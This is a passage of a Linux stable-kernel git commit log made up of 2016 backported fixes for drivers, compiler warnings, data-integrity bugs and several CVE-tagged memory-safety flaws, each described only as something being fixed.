      invalid opcode: 0000 [#1] SMP
      ...
      RIP: e030:[<ffffffff811c333b>]  [<ffffffff811c333b>] remove_inode_hugepages+0x25b/0x320
      ...
      Call Trace:
       [<ffffffff811c3415>] hugetlbfs_evict_inode+0x15/0x40
       [<ffffffff81167b3d>] evict+0xbd/0x1b0
       [<ffffffff8116514a>] __dentry_kill+0x19a/0x1f0
       [<ffffffff81165b0e>] dput+0x1fe/0x220
       [<ffffffff81150535>] __fput+0x155/0x200
       [<ffffffff81079fc0>] task_work_run+0x60/0xa0
       [<ffffffff81063510>] do_exit+0x160/0x400
       [<ffffffff810637eb>] do_group_exit+0x3b/0xa0
       [<ffffffff8106e8bd>] get_signal+0x1ed/0x470
       [<ffffffff8100f854>] do_signal+0x14/0x110
       [<ffffffff810030e9>] prepare_exit_to_usermode+0xe9/0xf0
       [<ffffffff814178a5>] retint_user+0x8/0x13
    
    This is CVE-2016-3961 / XSA-174.
    
    Reported-by: Vitaly Kuznetsov <vkuznets@redhat.com>
    Signed-off-by: Jan Beulich <jbeulich@suse.com>
    Cc: Andrew Morton <akpm@linux-foundation.org>
    Cc: Andy Lutomirski <luto@amacapital.net>
    Cc: Boris Ostrovsky <boris.ostrovsky@oracle.com>
    Cc: Borislav Petkov <bp@alien8.de>
    Cc: Brian Gerst <brgerst@gmail.com>
    Cc: David Vrabel <david.vrabel@citrix.com>
    Cc: Denys Vlasenko <dvlasenk@redhat.com>
    Cc: H. Peter Anvin <hpa@zytor.com>
    Cc: Juergen Gross <JGross@suse.com>
    Cc: Linus Torvalds <torvalds@linux-foundation.org>
    Cc: Luis R. Rodriguez <mcgrof@suse.com>
    Cc: Peter Zijlstra <peterz@infradead.org>
    Cc: Thomas Gleixner <tglx@linutronix.de>
    Cc: Toshi Kani <toshi.kani@hp.com>
    Cc: xen-devel <xen-devel@lists.xenproject.org>
    Link: http://lkml.kernel.org/r/57188ED802000078000E431C@prv-mh.provo.novell.com
    Signed-off-by: Ingo Molnar <mingo@kernel.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 54da3bb035806b0e1961e831a5078cac839a33ec
Author: Dominik Dingel <dingel@linux.vnet.ibm.com>
Date:   Fri Jul 17 16:23:37 2015 -0700

    mm: hugetlb: allow hugepages_supported to be architecture specific
    
    commit 2531c8cf56a640cd7d17057df8484e570716a450 upstream.
    
    s390 has a constant hugepage size, by setting HPAGE_SHIFT we also change
    e.g. the pageblock_order, which should be independent in respect to
    hugepage support.
    
    With this patch every architecture is free to define how to check
    for hugepage support.
    
    Signed-off-by: Dominik Dingel <dingel@linux.vnet.ibm.com>
    Acked-by: Martin Schwidefsky <schwidefsky@de.ibm.com>
    Cc: Heiko Carstens <heiko.carstens@de.ibm.com>
    Cc: Christian Borntraeger <borntraeger@de.ibm.com>
    Cc: Michael Holzheu <holzheu@linux.vnet.ibm.com>
    Cc: Gerald Schaefer <gerald.schaefer@de.ibm.com>
    Signed-off-by: Andrew Morton <akpm@linux-foundation.org>
    Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 8eb89eb32820c4f5182e766e83080344f397a34d
Author: Oliver Neukum <oneukum@suse.com>
Date:   Thu Nov 3 12:31:41 2016 +0100

    HID: usbhid: add ATEN CS962 to list of quirky devices
    
    commit cf0ea4da4c7df11f7a508b2f37518e0f117f3791 upstream.
    
    Like many similar devices it needs a quirk to work.
    Issuing the request gets the device into an irrecoverable state.
    
    Signed-off-by: Oliver Neukum <oneukum@suse.com>
    Signed-off-by: Jiri Kosina <jkosina@suse.cz>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit f1fbfad3f2d647e67ee57cfbfb7addc020beae9f
Author: Jiri Slaby <jslaby@suse.cz>
Date:   Mon Oct 3 11:00:17 2016 +0200

    tty: vt, fix bogus division in csi_J
    
    commit 42acfc6615f47e465731c263bee0c799edb098f2 upstream.
    
    In csi_J(3), the third parameter of scr_memsetw (vc_screenbuf_size) is
    divided by 2 inappropriatelly. But scr_memsetw expects size, not
    count, because it divides the size by 2 on its own before doing actual
    memset-by-words.
    
    So remove the bogus division.
    
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>
    Cc: Petr Písař <ppisar@redhat.com>
    Fixes: f8df13e0a9 (tty: Clean console safely)
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 82ed23da6bd0a676b236ef085f507a5b78a9fef8
Author: David Hsu <davidhsu@google.com>
Date:   Tue Aug 9 14:57:46 2016 -0700

    pwm: Unexport children before chip removal
    
    commit 0733424c9ba9f42242409d1ece780777272f7ea1 upstream.
    
    Exported pwm channels aren't removed before the pwmchip and are
    leaked. This results in invalid sysfs files. This fix removes
    all exported pwm channels before chip removal.
    
    Signed-off-by: David Hsu <davidhsu@google.com>
    Fixes: 76abbdde2d95 ("pwm: Add sysfs interface")
    Signed-off-by: Thierry Reding <thierry.reding@gmail.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 6f02d1094b22cfec037b152a3e0f4fbb3d13e61e
Author: Boris Brezillon <boris.brezillon@free-electrons.com>
Date:   Fri Sep 16 16:59:12 2016 +0200

    UBI: fastmap: scrub PEB when bitflips are detected in a free PEB EC header
    
    commit ecbfa8eabae9cd73522d1d3d15869703c263d859 upstream.
    
    scan_pool() does not mark the PEB for scrubing when bitflips are
    detected in the EC header of a free PEB (VID header region left to
    0xff).
    Make sure we scrub the PEB in this case.
    
    Signed-off-by: Boris Brezillon <boris.brezillon@free-electrons.com>
    Fixes: dbb7d2a88d2a ("UBI: Add fastmap core")
    Signed-off-by: Richard Weinberger <richard@nod.at>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 28b190d66043fac1a437b291f1cf76bfc27c5aa6
Author: Arnd Bergmann <arnd@arndb.de>
Date:   Mon Mar 14 23:45:12 2016 +0100

    smc91x: avoid self-comparison warning
    
    commit e3ebd894f084255fde19116955ba7054858ff5d6 upstream.
    
    The smc91x driver defines a macro that compares its argument to
    itself, apparently to get a true result while using its argument
    to avoid a warning about unused local variables.
    
    Unfortunately, this triggers a warning with gcc-6, as the comparison
    is obviously useless:
    
    drivers/net/ethernet/smsc/smc91x.c: In function 'smc_hardware_send_pkt':
    drivers/net/ethernet/smsc/smc91x.c:563:14: error: self-comparison always evaluates to true [-Werror=tautological-compare]
      if (!smc_special_trylock(&lp->lock, flags)) {
    
    This replaces the macro with another one that behaves similarly,
    with a cast to (void) to ensure the argument is used, and using
    a literal 'true' as its value.
    
    Signed-off-by: Arnd Bergmann <arnd@arndb.de>
    Signed-off-by: David S. Miller <davem@davemloft.net>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 77b4c57fbe7ea2fbc337040b511cad340ffbf058
Author: Arnd Bergmann <arnd@arndb.de>
Date:   Mon Mar 14 15:22:25 2016 +0100

    drm/exynos: fix error handling in exynos_drm_subdrv_open
    
    commit 55c4b906aa2aec3fa66310ec03c6842e34a04b2a upstream.
    
    gcc-6 warns about a pointless loop in exynos_drm_subdrv_open:
    
    drivers/gpu/drm/exynos/exynos_drm_core.c: In function 'exynos_drm_subdrv_open':
    drivers/gpu/drm/exynos/exynos_drm_core.c:104:199: error: self-comparison always evaluates to false [-Werror=tautological-compare]
      list_for_each_entry_reverse(subdrv, &subdrv->list, list) {
    
    Here, the list_for_each_entry_reverse immediately terminates because
    the subdrv pointer is compared to itself as the loop end condition.
    
    If we were to take the current subdrv pointer as the start of the
    list (as we would do if list_for_each_entry_reverse() was not a macro),
    we would iterate backwards over the &exynos_drm_subdrv_list anchor,
    which would be even worse.
    
    Instead, we need to use list_for_each_entry_continue_reverse()
    to go back over each subdrv that was successfully opened until
    the first entry.
    
    Signed-off-by: Arnd Bergmann <arnd@arndb.de>
    Signed-off-by: Inki Dae <inki.dae@samsung.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 782574de6f3d5f12649c72cdb55b7ac314b6bb9c
Author: Arnd Bergmann <arnd@arndb.de>
Date:   Fri Jul 1 18:02:22 2016 +0100

    ARM: 8584/1: floppy: avoid gcc-6 warning
    
    commit dd665be0e243873343a28e18f9f345927b658daf upstream.
    
    gcc-6.0 warns about comparisons between two identical expressions,
    which is what we get in the floppy driver when writing to the FD_DOR
    register:
    
    drivers/block/floppy.c: In function 'set_dor':
    drivers/block/floppy.c:810:44: error: self-comparison always evaluates to true [-Werror=tautological-compare]
       fd_outb(newdor, FD_DOR);
    
    It would be nice to use a static inline function instead of the
    macro, to avoid the warning, but we cannot do that because the
    FD_DOR definition is incomplete at this point.
    
    Adding a cast to (u32) is a harmless way to shut up the warning,
    just not very nice.
    
    Signed-off-by: Arnd Bergmann <arnd@arndb.de>
    Signed-off-by: Russell King <rmk+kernel@arm.linux.org.uk>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 1517f1f0a1ad0e8aab0422b1640bec56f8c2167e
Author: Juergen Gross <jgross@suse.com>
Date:   Thu Jun 23 07:12:27 2016 +0200

    x86/xen: fix upper bound of pmd loop in xen_cleanhighmap()
    
    commit 1cf38741308c64d08553602b3374fb39224eeb5a upstream.
    
    xen_cleanhighmap() is operating on level2_kernel_pgt only. The upper
    bound of the loop setting non-kernel-image entries to zero should not
    exceed the size of level2_kernel_pgt.
    
    Reported-by: Linus Torvalds <torvalds@linux-foundation.org>
    Signed-off-by: Juergen Gross <jgross@suse.com>
    Signed-off-by: David Vrabel <david.vrabel@citrix.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit fb3f134ed2aaf0f9152e4fffbe1d46c32952a6cd
Author: Lucas Stach <dev@lynxeye.de>
Date:   Mon Oct 24 23:32:04 2016 +0200

    drm/radeon: drop register readback in cayman_cp_int_cntl_setup
    
    commit 537b4b462caa8bfb9726d9695b8e56e2d5e6b41e upstream.
    
    The read is taking a considerable amount of time (about 50us on this
    machine). The register does not ever hold anything other than the ring
    ID that is updated in this exact function, so there is no need for
    the read modify write cycle.
    
    This chops off a big chunk of the time spent in hardirq disabled
    context, as this function is called multiple times in the interrupt
    handler. With this change applied radeon won't show up in the list
    of the worst IRQ latency offenders anymore, where it was a regular
    before.
    
    Reviewed-by: Christian König <christian.koenig@amd.com>
    Signed-off-by: Lucas Stach <dev@lynxeye.de>
    Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit a20aea3901111ebbdf4fd171d63bb7db949d8d85
Author: Alex Deucher <alexander.deucher@amd.com>
Date:   Fri Oct 14 16:38:02 2016 -0400

    drm/radeon/si_dpm: workaround for SI kickers
    
    commit 7dc86ef5ac91642dfc3eb93ee0f0458e702a343e upstream.
    
    Consolidate existing quirks. Fixes stability issues
    on some kickers.
    
    Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
    Signed-off-by: Alex Deucher <alexander.deucher@amd.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 396e52fe57f7ed0b66bee58a5e25e41ade342b03
Author: Tom St Denis <tom.stdenis@amd.com>
Date:   Thu Oct 13 12:38:07 2016 -0400

    drm/radeon/si_dpm: Limit clocks on HD86xx part
    
    commit fb9a5b0c1c9893db2e0d18544fd49e19d784a87d upstream.
    
    Limit clocks on a specific HD86xx part to avoid
    crashes (while awaiting an appropriate PP fix).
    
    Signed-off-by: Tom St Denis <tom.stdenis@amd.com>
    Reviewed-by: Alex Deucher <alexander.deucher@amd.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 0555f25e82355f900498a675023b79ef8a4ea666
Author: Ching Huang <ching2048@areca.com.tw>
Date:   Wed Oct 19 17:50:26 2016 +0800

    scsi: arcmsr: Send SYNCHRONIZE_CACHE command to firmware
    
    commit 2bf7dc8443e113844d078fd6541b7f4aa544f92f upstream.
    
    The arcmsr driver failed to pass SYNCHRONIZE CACHE to controller
    firmware. Depending on how drive caches are handled internally by
    controller firmware this could potentially lead to data integrity
    problems.
    
    Ensure that cache flushes are passed to the controller.
    
    [mkp: applied by hand and removed unused vars]
    
    Signed-off-by: Ching Huang <ching2048@areca.com.tw>
    Reported-by: Tomas Henzl <thenzl@redhat.com>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit d5e042c16d27946818e5f79e1cec5f9779672703
Author: Ewan D. Milne <emilne@redhat.com>
Date:   Wed Oct 26 11:22:53 2016 -0400

    scsi: scsi_debug: Fix memory leak if LBP enabled and module is unloaded
    
    commit 4d2b496f19f3c2cfaca1e8fa0710688b5ff3811d upstream.
    
    map_storep was not being vfree()'d in the module_exit call.
    
    Signed-off-by: Ewan D. Milne <emilne@redhat.com>
    Reviewed-by: Laurence Oberman <loberman@redhat.com>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 6531f76253572b7c90014c98b97e1e93924ec438
Author: Kashyap Desai <kashyap.desai@broadcom.com>
Date:   Fri Oct 21 06:33:32 2016 -0700

    scsi: megaraid_sas: Fix data integrity failure for JBOD (passthrough) devices
    
    commit 1e793f6fc0db920400574211c48f9157a37e3945 upstream.
    
    Commit 02b01e010afe ("megaraid_sas: return sync cache call with
    success") modified the driver to successfully complete SYNCHRONIZE_CACHE
    commands without passing them to the controller. Disk drive caches are
    only explicitly managed by controller firmware when operating in RAID
    mode. So this commit effectively disabled writeback cache flushing for
    any drives used in JBOD mode, leading to data integrity failures.
    
    [mkp: clarified patch description]
    
    Fixes: 02b01e010afeeb49328d35650d70721d2ca3fd59
    Signed-off-by: Kashyap Desai <kashyap.desai@broadcom.com>
    Signed-off-by: Sumit Saxena <sumit.saxena@broadcom.com>
    Reviewed-by: Tomas Henzl <thenzl@redhat.com>
    Reviewed-by: Hannes Reinecke <hare@suse.com>
    Reviewed-by: Ewan D. Milne <emilne@redhat.com>
    Signed-off-by: Martin K. Petersen <martin.petersen@oracle.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 56ccac941c5668cc3e3ac5bfa119487ecd5f65f9
Author: Johannes Berg <johannes.berg@intel.com>
Date:   Wed Oct 5 10:14:42 2016 +0200

    mac80211: discard multicast and 4-addr A-MSDUs
    
    commit ea720935cf6686f72def9d322298bf7e9bd53377 upstream.
    
    In mac80211, multicast A-MSDUs are accepted in many cases that
    they shouldn't be accepted in:
     * drop A-MSDUs with a multicast A1 (RA), as required by the
       spec in 9.11 (802.11-2012 version)
     * drop A-MSDUs with a 4-addr header, since the fourth address
       can't actually be useful for them; unless 4-address frame
       format is actually requested, even though the fourth address
       is still not useful in this case, but ignored
    
    Accepting the first case, in particular, is very problematic
    since it allows anyone else with possession of a GTK to send
    unicast frames encapsulated in a multicast A-MSDU, even when
    the AP has client isolation enabled.
    
    Signed-off-by: Johannes Berg <johannes.berg@intel.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 9b2e380324a14d10fe73a1dbbcc5f73fd89f12a5
Author: Stefan Richter <stefanr@s5r6.in-berlin.de>
Date:   Sun Oct 30 17:32:01 2016 +0100

    firewire: net: fix fragmented datagram_size off-by-one
    
    commit e9300a4b7bbae83af1f7703938c94cf6dc6d308f upstream.
    
    RFC 2734 defines the datagram_size field in fragment encapsulation
    headers thus:
    
        datagram_size:  The encoded size of the entire IP datagram.  The
        value of datagram_size [...] SHALL be one less than the value of
        Total Length in the datagram's IP header (see STD 5, RFC 791).
    
    Accordingly, the eth1394 driver of Linux 2.6.36 and older set and got
    this field with a -/+1 offset:
    
        ether1394_tx() /* transmit */
            ether1394_encapsulate_prep()
                hdr->ff.dg_size = dg_size - 1;
    
        ether1394_data_handler() /* receive */
            if (hdr->common.lf == ETH1394_HDR_LF_FF)
                dg_size = hdr->ff.dg_size + 1;
            else
                dg_size = hdr->sf.dg_size + 1;
    
    Likewise, I observe OS X 10.4 and Windows XP Pro SP3 to transmit 1500
    byte sized datagrams in fragments with datagram_size=1499 if link
    fragmentation is required.
    
    Only firewire-net sets and gets datagram_size without this offset.  The
    result is lacking interoperability of firewire-net with OS X, Windows
    XP, and presumably Linux' eth1394.  (I did not test with the latter.)
    For example, FTP data transfers to a Linux firewire-net box with max_rec
    smaller than the 1500 bytes MTU
      - from OS X fail entirely,
      - from Win XP start out with a bunch of fragmented datagrams which
        time out, then continue with unfragmented datagrams because Win XP
        temporarily reduces the MTU to 576 bytes.
    
    So let's fix firewire-net's datagram_size accessors.
    
    Note that firewire-net thereby loses interoperability with unpatched
    firewire-net, but only if link fragmentation is employed.  (This happens
    with large broadcast datagrams, and with large datagrams on several
    FireWire CardBus cards with smaller max_rec than equivalent PCI cards,
    and it can be worked around by setting a small enough MTU.)
    
    Signed-off-by: Stefan Richter <stefanr@s5r6.in-berlin.de>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 488c5d8218f38a4c6aa90a65b81492e868a251fd
Author: Stefan Richter <stefanr@s5r6.in-berlin.de>
Date:   Sat Oct 29 21:28:18 2016 +0200

    firewire: net: guard against rx buffer overflows
    
    commit 667121ace9dbafb368618dbabcf07901c962ddac upstream.
    
    The IP-over-1394 driver firewire-net lacked input validation when
    handling incoming fragmented datagrams.  A maliciously formed fragment
    with a respectively large datagram_offset would cause a memcpy past the
    datagram buffer.
    
    So, drop any packets carrying a fragment with offset + length larger
    than datagram_size.
    
    In addition, ensure that
      - GASP header, unfragmented encapsulation header, or fragment
        encapsulation header actually exists before we access it,
      - the encapsulated datagram or fragment is of nonzero size.
    
    Reported-by: Eyal Itkin <eyal.itkin@gmail.com>
    Reviewed-by: Eyal Itkin <eyal.itkin@gmail.com>
    Fixes: CVE 2016-8633
    Signed-off-by: Stefan Richter <stefanr@s5r6.in-berlin.de>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 16b953308c27b16ae4c918b571d5620d379a4951
Author: Patrick Scheuring <patrick.scheuring.dev@gmail.com>
Date:   Wed Oct 19 12:04:02 2016 -0700

    Input: i8042 - add XMG C504 to keyboard reset table
    
    commit da25311c7ca8b0254a686fc0d597075b9aa3b683 upstream.
    
    The Schenker XMG C504 is a rebranded Gigabyte P35 v2 laptop.
    Therefore it also needs a keyboard reset to detect the Elantech touchpad.
    Otherwise the touchpad appears to be dead.
    
    With this patch the touchpad is detected:
    
    $ dmesg | grep -E "(i8042|Elantech|elantech)"
    
    [    2.675399] i8042: PNP: PS/2 Controller [PNP0303:PS2K,PNP0f13:PS2M] at 0x60,0x64 irq 1,12
    [    2.680372] i8042: Attempting to reset device connected to KBD port
    [    2.789037] serio: i8042 KBD port at 0x60,0x64 irq 1
    [    2.791586] serio: i8042 AUX port at 0x60,0x64 irq 12
    [    2.813840] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input4
    [    3.811431] psmouse serio1: elantech: assuming hardware version 4 (with firmware version 0x361f0e)
    [    3.825424] psmouse serio1: elantech: Synaptics capabilities query result 0x00, 0x15, 0x0f.
    [    3.839424] psmouse serio1: elantech: Elan sample query result 03, 58, 74
    [    3.911349] input: ETPS/2 Elantech Touchpad as /devices/platform/i8042/serio1/input/input6
    
    Signed-off-by: Patrick Scheuring <patrick.scheuring.dev@gmail.com>
    Signed-off-by: Dmitry Torokhov <dmitry.torokhov@gmail.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 7265dbca7c6c7cf5de66af5c392f4387323a2087
Author: Matt Redfearn <matt.redfearn@imgtec.com>
Date:   Tue Oct 11 12:05:15 2016 +0100

    virtio: console: Unlock vqs while freeing buffers
    
    commit 34563769e438d2881f62cf4d9badc4e589ac0ec0 upstream.
    
    Commit c6017e793b93 ("virtio: console: add locks around buffer removal
    in port unplug path") added locking around the freeing of buffers in the
    vq. However, when free_buf() is called with can_sleep = true and rproc
    is enabled, it calls dma_free_coherent() directly, requiring interrupts
    to be enabled. Currently a WARNING is triggered due to the spin locking
    around free_buf, with a call stack like this:
    
    WARNING: CPU: 3 PID: 121 at ./include/linux/dma-mapping.h:433
    free_buf+0x1a8/0x288
    Call Trace:
    [<8040c538>] show_stack+0x74/0xc0
    [<80757240>] dump_stack+0xd0/0x110
    [<80430d98>] __warn+0xfc/0x130
    [<80430ee0>] warn_slowpath_null+0x2c/0x3c
    [<807e7c6c>] free_buf+0x1a8/0x288
    [<807ea590>] remove_port_data+0x50/0xac
    [<807ea6a0>] unplug_port+0xb4/0x1bc
    [<807ea858>] virtcons_remove+0xb0/0xfc
    [<807b6734>] virtio_dev_remove+0x58/0xc0
    [<807f918c>] __device_release_driver+0xac/0x134
    [<807f924c>] device_release_driver+0x38/0x50
    [<807f7edc>] bus_remove_device+0xfc/0x130
    [<807f4b74>] device_del+0x17c/0x21c
    [<807f4c38>] device_unregister+0x24/0x38
    [<807b6b50>] unregister_virtio_device+0x28/0x44
    
    Fix this by restructuring the loops to allow the locks to only be taken
    where it is necessary to protect the vqs, and release it while the
    buffer is being freed.
    
    Fixes: c6017e793b93 ("virtio: console: add locks around buffer removal in port unplug path")
    Signed-off-by: Matt Redfearn <matt.redfearn@imgtec.com>
    Signed-off-by: Michael S. Tsirkin <mst@redhat.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit d9e82de839095cbd4ccaff50850c5165ca7993af
Author: John David Anglin <dave.anglin@bell.net>
Date:   Fri Oct 28 23:00:34 2016 -0400

    parisc: Ensure consistent state when switching to kernel stack at syscall entry
    
    commit 6ed518328d0189e0fdf1bb7c73290d546143ea66 upstream.
    
    We have one critical section in the syscall entry path in which we switch from
    the userspace stack to kernel stack. In the event of an external interrupt, the
    interrupt code distinguishes between those two states by analyzing the value of
    sr7. If sr7 is zero, it uses the kernel stack. Therefore it's important, that
    the value of sr7 is in sync with the currently enabled stack.
    
    This patch now disables interrupts while executing the critical section.  This
    prevents the interrupt handler to possibly see an inconsistent state which in
    the worst case can lead to crashes.
    
    Interestingly, in the syscall exit path interrupts were already disabled in the
    critical section which switches back to the userspace stack.
    
    Signed-off-by: John David Anglin <dave.anglin@bell.net>
    Signed-off-by: Helge Deller <deller@gmx.de>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 0fca56f2a2ac129d1a9f8453c8f21ed0347b41f8
Author: James Hogan <james.hogan@imgtec.com>
Date:   Tue Oct 25 16:11:11 2016 +0100

    KVM: MIPS: Make ERET handle ERL before EXL
    
    commit ede5f3e7b54a4347be4d8525269eae50902bd7cd upstream.
    
    The ERET instruction to return from exception is used for returning from
    exception level (Status.EXL) and error level (Status.ERL). If both bits
    are set however we should be returning from ERL first, as ERL can
    interrupt EXL, for example when an NMI is taken. KVM however checks EXL
    first.
    
    Fix the order of the checks to match the pseudocode in the instruction
    set manual.
    
    Fixes: e685c689f3a8 ("KVM/MIPS32: Privileged instruction/target branch emulation.")
    Signed-off-by: James Hogan <james.hogan@imgtec.com>
    Cc: Paolo Bonzini <pbonzini@redhat.com>
    Cc: "Radim Krčmář" <rkrcmar@redhat.com>
    Cc: Ralf Baechle <ralf@linux-mips.org>
    Cc: linux-mips@linux-mips.org
    Cc: kvm@vger.kernel.org
    Signed-off-by: Paolo Bonzini <pbonzini@redhat.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 5a0561dff3f260364619f999693a5d305bf0e831
Author: Ido Yariv <ido@wizery.com>
Date:   Fri Oct 21 12:39:57 2016 -0400

    KVM: x86: fix wbinvd_dirty_mask use-after-free
    
    commit bd768e146624cbec7122ed15dead8daa137d909d upstream.
    
    vcpu->arch.wbinvd_dirty_mask may still be used after freeing it,
    corrupting memory. For example, the following call trace may set a bit
    in an already freed cpu mask:
        kvm_arch_vcpu_load
        vcpu_load
        vmx_free_vcpu_nested
        vmx_free_vcpu
        kvm_arch_vcpu_free
    
    Fix this by deferring freeing of wbinvd_dirty_mask.
    
    Signed-off-by: Ido Yariv <ido@wizery.com>
    Reviewed-by: Paolo Bonzini <pbonzini@redhat.com>
    Signed-off-by: Radim Krčmář <rkrcmar@redhat.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 1dc4edef2413dffc53c452f3ba5bd34d71a8eb88
Author: Johan Hovold <johan@kernel.org>
Date:   Wed Oct 19 15:45:07 2016 +0200

    USB: serial: cp210x: fix tiocmget error handling
    
    commit de24e0a108bc48062e1c7acaa97014bce32a919f upstream.
    
    The current tiocmget implementation would fail to report errors up the
    stack and instead leaked a few bits from the stack as a mask of
    modem-status flags.
    
    Fixes: 39a66b8d22a3 ("[PATCH] USB: CP2101 Add support for flow control")
    Signed-off-by: Johan Hovold <johan@kernel.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 0607572b7a37825722745ad52f3cd2b4bbc75bf5
Author: Dmitry Vyukov <dvyukov@google.com>
Date:   Fri Oct 14 15:18:28 2016 +0200

    tty: limit terminal size to 4M chars
    
    commit 32b2921e6a7461fe63b71217067a6cf4bddb132f upstream.
    
    Size of kmalloc() in vc_do_resize() is controlled by user.
    Too large kmalloc() size triggers WARNING message on console.
    Put a reasonable upper bound on terminal size to prevent WARNINGs.
    
    Signed-off-by: Dmitry Vyukov <dvyukov@google.com>
    CC: David Rientjes <rientjes@google.com>
    Cc: One Thousand Gnomes <gnomes@lxorguk.ukuu.org.uk>
    Cc: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
    Cc: Jiri Slaby <jslaby@suse.com>
    Cc: Peter Hurley <peter@hurleysoftware.com>
    Cc: linux-kernel@vger.kernel.org
    Cc: syzkaller@googlegroups.com
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit e4813db38f95b5b8b70416d08e5f404650fff32b
Author: Mathias Nyman <mathias.nyman@linux.intel.com>
Date:   Thu Oct 20 18:09:18 2016 +0300

    xhci: add restart quirk for Intel Wildcatpoint PCH
    
    commit 4c39135aa412d2f1381e43802523da110ca7855c upstream.
    
    xHC in Wildcatpoint-LP PCH is similar to LynxPoint-LP and need the
    same quirks to prevent machines from spurious restart while
    shutting them down.
    
    Reported-by: Hasan Mahmood <hasan.mahm@gmail.com>
    Signed-off-by: Mathias Nyman <mathias.nyman@linux.intel.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 5ec8acb01c720a8522e5998814eead852dccb512
Author: Long Li <longli@microsoft.com>
Date:   Wed Oct 5 16:57:46 2016 -0700

    hv: do not lose pending heartbeat vmbus packets
    
    commit 407a3aee6ee2d2cb46d9ba3fc380bc29f35d020c upstream.
    
    The host keeps sending heartbeat packets independent of the
    guest responding to them.  Even though we respond to the heartbeat messages at
    interrupt level, we can have situations where there maybe multiple heartbeat
    messages pending that have not been responded to. For instance this occurs when the
    VM is paused and the host continues to send the heartbeat messages.
    Address this issue by draining and responding to all
    the heartbeat messages that maybe pending.
    
    Signed-off-by: Long Li <longli@microsoft.com>
    Signed-off-by: K. Y. Srinivasan <kys@microsoft.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 863ad19fd654c485e3beec3575c4d74a1e74369e
Author: Scot Doyle <lkml14@scotdoyle.com>
Date:   Thu Oct 13 12:12:43 2016 -0500

    vt: clear selection before resizing
    
    commit 009e39ae44f4191188aeb6dfbf661b771dbbe515 upstream.
    
    When resizing a vt its selection may exceed the new size, resulting in
    an invalid memory access [1]. Clear the selection before resizing.
    
    [1] http://lkml.kernel.org/r/CACT4Y+acDTwy4umEvf5ROBGiRJNrxHN4Cn5szCXE5Jw-d1B=Xw@mail.gmail.com
    
    Reported-and-tested-by: Dmitry Vyukov <dvyukov@google.com>
    Signed-off-by: Scot Doyle <lkml14@scotdoyle.com>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit c0547ebf8db11de283c482276511d6cdfb747a8c
Author: Linus Torvalds <torvalds@linux-foundation.org>
Date:   Tue Nov 8 11:17:00 2016 +0100

    Fix potential infoleak in older kernels
    
    Not upstream as it is not needed there.
    
    So a patch something like this might be a safe way to fix the
    potential infoleak in older kernels.
    
    THIS IS UNTESTED. It's a very obvious patch, though, so if it compiles
    it probably works. It just initializes the output variable with 0 in
    the inline asm description, instead of doing it in the exception
    handler.
    
    It will generate slightly worse code (a few unnecessary ALU
    operations), but it doesn't have any interactions with the exception
    handler implementation.
    
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit f86b1cc023c7961651906df53181e96a8652b0a3
Author: Stefan Tauner <stefan.tauner@technikum-wien.at>
Date:   Thu Oct 6 18:40:11 2016 +0200

    USB: serial: ftdi_sio: add support for Infineon TriBoard TC2X7
    
    commit ca006f785fbfd7a5c901900bd3fe2b26e946a1ee upstream.
    
    This adds support to ftdi_sio for the Infineon TriBoard TC2X7
    engineering board for first-generation Aurix SoCs with Tricore CPUs.
    Mere addition of the device IDs does the job.
    
    Signed-off-by: Stefan Tauner <stefan.tauner@technikum-wien.at>
    Signed-off-by: Johan Hovold <johan@kernel.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit a255175b8407c4fe5cc08fb6923eea441a40c30f
Author: Johan Hovold <johan@kernel.org>
Date:   Fri Oct 21 12:56:27 2016 +0200

    USB: serial: fix potential NULL-dereference at probe
    
    commit 126d26f66d9890a69158812a6caa248c05359daa upstream.
    
    Make sure we have at least one port before attempting to register a
    console.
    
    Currently, at least one driver binds to a "dummy" interface and requests
    zero ports for it. Should such an interface also lack endpoints, we get
    a NULL-deref during probe.
    
    Fixes: e5b1e2062e05 ("USB: serial: make minor allocation dynamic")
    Signed-off-by: Johan Hovold <johan@kernel.org>
    Signed-off-by: Jiri Slaby <jslaby@suse.cz>

commit 70b3e0d44a88638cc0a7c7c65f4c36ca8b7ab0dd
Author: Felipe Balbi <felipe.balbi@linux.intel.com>
Date:   Tue Oct 4 15:14:43 2016 +0300

